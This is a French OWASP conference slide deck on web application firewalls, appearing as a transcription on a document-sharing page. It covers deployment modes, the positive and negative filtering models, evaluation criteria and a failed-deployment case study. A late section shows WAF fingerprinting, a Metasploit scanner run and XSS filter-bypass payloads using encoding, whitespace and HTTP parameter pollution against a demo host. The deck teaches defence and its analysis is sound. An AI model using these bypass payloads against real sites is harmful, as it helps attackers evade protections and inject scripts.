Web Application Firewalls (WAF)



Documents pareils
Web Application Firewalls (WAF)

Revue de code Sécuritéou Test d Intrusion Applicatif. Quel est le plus efficace pour évaluer un niveau de sécurité applicatif?

Les utilités d'un coupe-feu applicatif Web

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

Delivering the World s AppSec Information in France OWASP. The OWASP Foundation OWASP Paris Meeting - May 6, 2009

L3 informatique TP n o 2 : Les applications réseau

Présentation de la solution Open Source «Vulture» Version 2.0

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

La Sécurité des Données en Environnement DataCenter

DÉVELOPPER DES APPLICATIONS WEB SÉCURISÉES

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria

Vulnérabilités et sécurisation des applications Web

Une approche positive du filtrage applicatif Web. Didier «grk» Conchaudron Sébastien «blotus» Blot

Sécurité des Web Services (SOAP vs REST)

La Latecion protection anti-intrusion Web Web Le concept «Zero effort Security» La protection des applications Extranet

Réseau - Sécurité - Métrologie - Data Center. Le leader du marché allemand des UTM débarque en France avec des arguments forts!

Analyse statique de code dans un cycle de développement Web Retour d'expérience

Sécurité des applications web. Daniel Boteanu

DenyAll Protect. Sécurité & accélération. Parefeux pour applications et services Web. de vos applications.

Atelier Sécurité / OSSIR

Extended communication server 4.1 : VoIP SIP service- Administration

Protection des protocoles

Supplément de renseignements : Examens d applications et pare-feux d applications web clarifiés Normes : Normes en matière de sécurité des données de

Retour d expérience sur Prelude

Rapport de certification ANSSI-CSPN-2010/05. ModSecurity v2.5.12

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

OZSSI NORD 4 JUIN LILLE. Conférence thématique: Sécurité des applications

Tom Pertsekos. Sécurité applicative Web : gare aux fraudes et aux pirates!

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Sécurité des applications Retour d'expérience

Sécuriser les applications web de l entreprise

WebSSO, synchronisation et contrôle des accès via LDAP

JSSI mars 2012 Laurent Butti Orange France DMGP/PORTAIL

BeEF : Browser Exploitation Framework

Découvrir les vulnérabilités au sein des applications Web

Les risques HERVE SCHAUER HSC

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

Table des matières. Avant-propos... Préface... XIII. Remerciements...

IPS : Corrélation de vulnérabilités et Prévention des menaces

Vulnérabilités et solutions de sécurisation des applications Web

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion

Protocoles Applicatifs

Formations. «Règles de l Art» Certilience formation N SIRET APE 6202A - N TVA Intracommunautaire FR

Gilles.Roussel univ-mlv.fr HTTP/1.1 RFC 2068

Atelier Pivoting KHOULOUD GATTOUSSI (RT3) ASMA LAHBIB (RT3) KHAOULA BLEL (RT3) KARIMA MAALAOUI (RT3)

Proxies,, Caches & CDNs

Sécurité de la ToIP Mercredi 16 Décembre CONIX Telecom

Programmation Internet Cours 4

DÉVELOPPER DES APPLICATIONS WEB SÉCURISÉES

«Cachez-moi cette page!»

(structure des entêtes)

Le serveur HTTPd WASD. Jean-François Piéronne

Hébergement de site web Damien Nouvel

PySQLi. Framework d'injection de code SQL

Bee Ware. Cible de Sécurité CSPN. Validation Fonctionnelle Validation Fonctionnelle Bon pour application AMOA BEEWARE BEEWARE

RSA ADVANCED SECURITY OPERATIONS CENTER SOLUTION

Guide Share France. Web Single Sign On. Panorama des solutions SSO

Détection d'intrusions et analyse forensique

DenyAll Detect. Documentation technique 27/07/2015

DATASET / NETREPORT, propose une offre complète de solutions dans les domaines suivants:

Fiche Technique. Cisco Security Agent

1 Introduction Propos du document Introduction De HTTP 1.0 à HTTP

Comment choisir la solution de gestion des vulnérabilités qui vous convient?

1. Formation F5 - Local Traffic Manager Configuring (LTM)

Mise en place de la composante technique d un SMSI Le Package RSSI Tools BOX

Audits de sécurité, supervision en continu Renaud Deraison

Gestion des incidents de sécurité. Une approche MSSP

Hébergement de sites Web

Sécurité des réseaux Les attaques

Netdays Comprendre et prévenir les risques liés aux codes malicieux

LA PROTECTION DES DONNÉES

Gouvernance des mesures de sécurité avec DCM-Manager. Présentation du 22 mai 2014

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

RFC 7230 : Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing

Convergence entre Sécurité et Conformité par l approche Software as a Service Présentation en avant-première de QualysGuard Policy Compliance

Réseaux. 1 Généralités. E. Jeandel

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

ADMINISTRATION DE ADOBE LIVECYCLE MOSAIC 9.5

RTE Technologies. RTE Geoloc. Configuration avec Proxy ou Firewall

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

MSP Center Plus. Vue du Produit

Infrastructure Management

Lieberman Software Corporation

Mettre en place un accès sécurisé à travers Internet

JAB, une backdoor pour réseau Win32 inconnu

L analyse de logs. Sébastien Tricaud Groupe Resist - Toulouse 2013

TEST D INTRUSION : UNE SIMULATION DE HACKING POUR IDENTIFIER LES FAIBLESSES DE VOTRE SYSTÈME

DOCUMENTATION - FRANCAIS... 2

CIBLE DE SECURITE CSPN DU PRODUIT PASS. (Product for Advanced SSO)

Mysql avec EasyPhp. 1 er mars 2006

F5 : SECURITE ET NOUVEAUX USAGES

Les systèmes pare-feu (firewall)

Création d un «Web Worm»

Sécuriser les applications web

Projet Sécurité des SI

Dans l'épisode précédent

Transcription:

Web Application Firewalls (WAF) Sébastien GIORIA (sebastien.gioria@owasp.org) French Chapter Leader Copyright 2009 - The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License. The OWASP Foundation http://www.owasp.org

Qui suis-je? Président du CLUSIR Poitou-Charentes, OWASP France Leader & Evangeliste sebastien.gioria@owasp.org 12 ans d expérience en Sécurité des Systèmes d Information Différents postes de manager SSI dans la banque, l assurance et les télécoms Expertise Technique Gestion du risque, Architectures fonctionnelles, Audits Consulting et Formation en Réseaux et Sécurité PenTesting, Digital Forensics S-SDLC Domaines de prédilection : Web 4.2 : WebServices, Interfaces, Insécurité du Web.

Agenda L OWASP Web Application Firewalls (WAF) Choisir son WAF WAF Mythes et réalités WAF mode d emploi S amuser avec son WAF Et après?

OWASP en France Un Conseil d Administration (Association loi 1901) : Président, évangéliste et relations publiques : Sébastien Gioria Consultant indépendant en sécurité des systèmes d informations. Président du CLUSIR Poitou-Charentes Vice-Président et responsable du projet de Traduction : Ludovic Petit. Expert Sécurité chez SFR Secrétaire et Responsable des aspects Juridiques : Estelle Aimé. Avocate Un Bureau : Le Conseil d Administration Romain Gaucher : Ex-chercheur au NIST, consultant chez Cigital Mathieu Estrade : Développeur Apache. Projets : Top 10 : traduit. Guides : en cours. Questionnaire a destination des RSSI : en cours. Groupe de travail de la sécurité applicative du CLUSIF Sensibilisation / Formations : Assurance(s) (Java/PHP) Société d EDI (JAVA) Opérateur Téléphonie mobile (PHP/ WebServices) Différents services gouvernementaux Conférences dans des écoles Sociétés du CAC40 (Banque/ Aéronautique) Interventions : Infosecurity OSSIR Microsoft TechDays PCI-Global CERT-IST

Agenda L OWASP Web Application Firewalls (WAF) Choisir son WAF WAF Mythes et réalités WAF mode d emploi S amuser avec son WAF Et après?

Faiblesse des Applications Web % Attaques % Dépenses Application Web 10 % 75 % 90 % 25 % Eléments Réseaux Etude du GARTNER 2003 75% des attaques ciblent le niveau Applicatif 66% des applications web sont vulnérables Etude du SANS (septembre 2009) http://www.sans.org/top-cyber-security-risks/ "La veille d un incident, le retour sur investissement d un système de sécurité est nul. Le lendemain, il est infini." Dennis Hoffman, RSA

Je suis protégé contre les attaques, j ai un firewall

Mon site Web est sécurisé puisque il est protégé par SSL

Et arriva le WAF PCI-DSS (https://www.pcisecuritystandards.org/) 6.6 : In the context of Requirement 6.6, an application firewall is a web application firewall (WAF), which is a security policy enforcement point positioned between a web application and the client end point. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. http://www.owasp.org/index.php/web_application_firewall Le WAF est une CONTRE MESURE A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.

Agenda L OWASP Web Application Firewalls (WAF) Choisir son WAF WAF Mythes et réalités WAF mode d emploi S amuser avec son WAF Et après?

Mode Parallèle/Sonde

Mode Intrusif/Reverse Proxy

Intégré au serveur Web (mod_security d Apache)

Choisir son WAF/son camp Négatif Positif Concept Le WAF reconnait les attaques et les bloque, il autorise tous les accès. Le WAF connait le trafic légitime et rejette tout le reste. Avantages Aucun besoin de personnalisation Protection standard Simple a déployer Bloque les attaques inconnues N est pas dépendant d une base de signature. Détection précise Inconvénients Extrèmement dépendant des signatures Pas très précis Configuration complexe Sensible aux faux positifs

Agenda L OWASP Web Application Firewalls (WAF) Choisir son WAF WAF Mythes et réalités WAF mode d emploi S amuser avec son WAF Et après?

Réalités du WAF Patcher virtuellement les problèmes Plus ou moins efficace suivant la méthode employée (positive, négative) Cacher tout ou partie de l infrastructure En mode reverse proxy Analyseur de trafic HTTP/HTTPS/XML puissant Grace à ses fonctions de normalisation et son reporting

Mythes du WAF C est un nouvel élément d infrastructure Couts supplémentaires, à intégrer en PCA, Compétence supplémentaire Source de problèmes récurrents : Modèle positif : à chaque modification de l applicatif Modèle négatif : dépendant des mises a jours. Complexifie le debug Ce n est pas la solution! Il «laisse» passer des failles (Session Hijacking, élévation de privilèges, HTTP response splitting, ) Il n est pas (encore) obligatoire en PCI-DSS!

Agenda L OWASP Web Application Firewalls (WAF) Choisir son WAF WAF Mythes et réalités WAF mode d emploi S amuser avec son WAF Et après?

WAF En ai-je besoin? Elevé Boite Noire Bénéfice d un WAF Moyen Majoritairement développé en interne, disponibilité des sources Majoritairement développé en externe, peu de sources disponibles Faible Accès total aux sources, et au développeurs Total Partiel Aucun Accès aux sources de l application

Web Application Firewall Evaluation Criteria (WAFEC) Projet du Web Application Security Consortium http://www.webappsec.org/projects/wafec/ Liste les fonctionnalités possibles d un WAF et non les fonctions minimum nécessaires d un WAF Permet d évaluer techniquement le meilleur WAF pour son environnement en fonction de 9 critères : 1. Type d architecture à déployer (pont, reverse-proxy, intégré, SSL, ) 2. Support d HTTP et d HTML (Versions, encodages, ) 3. Techniques de détection (signatures, techniques de normalisation du trafic, ) 4. Techniques de protection (brute force, cookies, sessions, ) 5. Journalisation (intégration NSM, type de logs, gestion des données sensibles, ) 6. Rapports (types de rapports, distribution, format, ) 7. Administration (politiques, logs, ) 8. Performance (nb de connexions/s, latences, ) 9. Support XML (WS-i intégration, validation XML/RPC, )

WAF Mise en place Choisir le type (centralisé, décentralisé, performances, ) => Projet WAFEC Mettre en place l organisation Désigner (au minimum) un «WAF operation manager» en lien avec les équipes infrastructures et développement. Rôle technico-moa Mettre en place la protection minimale XSS, Blind-SQLi, Définir les priorités des applications à protéger Itérer depuis du traçage de toutes les requêtes à la protection optimale pour chacune des applications (peut se dérouler sur un très long terme.)

WAF OWASP Top10 Mise en Place Top10 WAF Commentaire Charge de mise en place A1 (XSS) A2 (Injections) A3 (RFI) A4 (Insecure Objects) Ne voit pas les XSS persistants (pas de filtres en sortie) Bloque la majorité des attaques en fonction du moteur de canonisation Bon sur les protocoles connus (SQL) grace au blacklistage de caractères. Peut se coupler avec un A/V via ICAP, permet de whitelister les paramètres autorisés Masquerade possible des ID internes. Sur un WAF Moyenne Moyenne Faible a Moyenne Très Faible Code/ Configuration Moyenne à Forte Moyenne à Forte Moyenne a Forte Faible a Moyenne A5 (CSRF) Peut ajouter des ID à la volée Faible Moyenne

WAF OWASP Top10 Mise en Place Top10 WAF Commentaire Charge de mise en place A6 (Info Leak/ Error) A7 (Auth & Session) Bloque facilement les accès aux URL non autorisées, mais détecte difficilement les erreurs coté serveur Dépend du WAF et du Serveur Applicatif Sur un WAF Faible à Forte Moyenne à Forte Code/ Configuration Faible A8 (Crypto) Non Applicable Non Applicable Faible A9 (SSL/VPN) Totalement adapté Faible Faible A10 (Restrict URL) Blacklistage Faible Failbe Faible a Forte

Agenda L OWASP Web Application Firewalls (WAF) Choisir son WAF WAF Mythes et réalités WAF mode d emploi S amuser avec son WAF Et après?

Détection des WAFs Certains WAFs laissent beaucoup d informations sur leur présence : Cookies : barra_counter_session, NCI SessionId, WODSESSION Headers Server=profense Server=BinarySec Réponses a des attaques (trigger de blacklist) dans les headers HTTP/1.1 200 Condition Intercepted HTTP/1.1 200 Forbidden HTTP/1.1. 407 Proxy Authentication Required Ou les pages par défaut!!! <h1>system error!<hr></h1> <title>action not authorized!</title>

Détection des WAFs Wafw00f présenté à l AppSec EU 2009. Script python se basant sur une base de détection interne. Waffun présenté à l AppSec EU 2009 Script python de fuzzing pour construire une liste de bypass du WAF.

Détection des WAFs./msfconsole [-] *** [-] *** # # ###### ##### ## #### ##### # #### # ##### ## ## # # # # # # # # # # # # # ## # ##### # # # #### # # # # # # # # # # # ###### # ##### # # # # # # # # # # # # # # # # # # # # # ###### # # # #### # ###### #### # # =[ msf v3.3-dev + -- --=[ 396 exploits - 239 payloads + -- --=[ 20 encoders - 7 nops =[ 267 aux msf > use auxiliary/scanner/http/wimps msf auxiliary(wimps) > set XSSVECTOR /Users/eagle/.msf3/modules/auxiliary/scanner/http/xssvector.txt XSSVECTOR => /Users/eagle/.msf3/modules/auxiliary/scanner/http/xssvector.txt msf auxiliary(wimps) > set RPORT 443 RPORT => 443 msf auxiliary(wimps) > set SSL true SSL => true msf auxiliary(wimps) > set RHOST www.wafforwimps.org RHOST => www.wafforwimps.org msf auxiliary(wimps) > run [*] Loading Database [*] Testing./<script>alert(XSS)</script> Found some WAF signature./<body onload= http://www.farforwinps.org/hack.js > Found some WAF signature.

Bypass des WAFs Un WAFs sera toujours bypassé s il n implémente pas le concept de liste blanche. Toute tentative de : Blacklist Règle de type regular-expression Réseau neuronal Sera inutile!

Exemple sur une chaine XSS <script>alert(xss);</script>

Bypass des WAFs Le coup de l encodage et de l espace Encodage URL %3c%73%63%72%69%70%74%3e %61%6c %65%72%74%28%58%53%53%29% 3b%3c%2f %73%63%72%69%70%74%3e%0a Encodage HTML <scri&#x7 0;t>ale rt(xs& #x53;);</&#x 73;crip&#x74 ;> Encode UTF-8 %u003c %uff53%uff43%uff52%uff49%uff50%uff54%u003 e%uff41%uff4c %uff45%uff52%uff54%uff08%uff38%uff33%uff33 %uff09%u003c %u2215%uff53%uff43%uff52%uff49%uff50%uff5 4%u003 Un petit espace < s c r i p t > a l e r t ( X S S ) ; < / s c r i p t > Un petit CR < s c Un mix des deux? %3c %20%73%20%63%20%72%20%69% 20%70%20%74%20%3e%20%0a %61%20%6c %20%65%20%72%20%74%20%28% 20%58%20%53%20%53%20%29%2 0%3b%20%3c%20%2f %20%73%20%63%20%0a %72%20%69%20%70%20%74%20% 3e%0a

Bypass des WAFs le coup de la pollution des paramètres ncat --ssl www.wafforwimps.org 443 GET /test.aspx?val=<script>alert(falken);</script> HTTP/1.0 HTTP/1.1 407 Proxy Authentication Required Date: Thu, 03 Sep 2009 3:47:19 GMT Server: IIS Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT Accept-Ranges: bytes Content-Type: text/html Via: 1.1 www.wafforwimps.org X-Cache: MISS from www.wafforwimps.org Connection: close <html> <head><title>system error!</title></head> <body bgcolor=#ffffff> <h1>system error!<hr></h1> <p> Error #<b>3</b>...

Bypass des WAFs le coup de la pollution des paramètres ncat --ssl www.wafforwimps.org 443 GET /test.aspx?val=<&val=script&val=>&val=alert&val=(&val=fal&val=k&val=en&val=) &val=; &val=<&val=/ &val=script&val=> HTTP/1.0 HTTP/1.1 200 Ok Date: Thu, 03 Sep 2009 4:47:19 GMT Server: IIS Last-Modified: Mon, 28 Jul 2008 14:45:31 GMT Accept-Ranges: bytes Content-Type: text/html Via: 1.1 www.wafforwimps.org X-Cache: MISS from www.wafforwimps.org Connection: close <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr"> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <meta name="robots" content="index, FOLLOW" /> </head> <body > Hello Professor <script>alert(xss);</script>, Would you play a game? </body>

Exemple vécu de l (in)utilité recyclage déploiement d un WAF Société de type VPC sur un marché de niche en B2B.

1ere étape : le choix 2 options (via PCI-DSS 6.6, car il est bien connu que toute société qui vend sur internet se doit d être conforme.) : 1. Déployer un WAF + Scan automatisés 2. Mettre en place un code review sécurité + SDLC Solution choisie : déployer un WAF(redondé) + Scans en mode ASP récurrent (1 par mois au minimum) => Magic quadrant + idée des conseils en régie + promo de Noël

2 ème étape : la vie du produit Résultats des scans réguliers : Tout est vert (forcément il y a un WAF qui voit arriver avec ses gros sabots le robot.) Configuration du WAF : Configuration faite par l ingénieur en charge des Firewalls (normal, c est un Web Application FIREWALL!) Remontée des logs dans un fichier (non analysé, car trop d alertes) Règles parfois permissibles car des outils (type CMS propriétaires font des requêtes bloquées)

L attaque 1. Un lutin malveillant lance une DOS (type slowloris) à destination du WAF en mode failopen. 2. Pendant ce temps, le lutin malveillant découvre une injection SQL basique (très très basique). les bases sont téléchargées par le lutin malveillant. 3. Le lutin revend tout ou partie de la base au meilleur offreur. 4. Le lutin peut continuer à boire ses Guinness.

La détection Il n a été vue que la DOS!!! Dans les bases, des adresses e-mails spéciales permettent de découvrir une compromission post attaque. L investigation dans les logs HTTP a permis de découvrir l injection SQL.

Le bénéfice +100% de bénéfice(financier) pour le vendeur du PC de la webcam de la machine a café WAF +100% de bénéfice(financier) pour le vendeur du scanner tout va bien quand je remets le rapport au DSI ASP -424,2%(au minimum) pour l entreprise : Perte d image de marque Perte de l agrément PCI-DSS (amendes?) Pentests manuels en urgence Formation des développeurs en urgence Revue de code en urgence

Agenda L OWASP Web Application Firewalls (WAF) Choisir son WAF WAF Mythes et réalités WAF mode d emploi S amuser avec son WAF Et après?

Pas de recette Miracle Mettre en place un cycle de développement sécurisé! Auditer et Tester son code! Vérifier le fonctionnement de son Application! La sécurité est d abord et avant tout affaire de bon sens.

Rejoignez nous! http://www.owasp.fr 4 1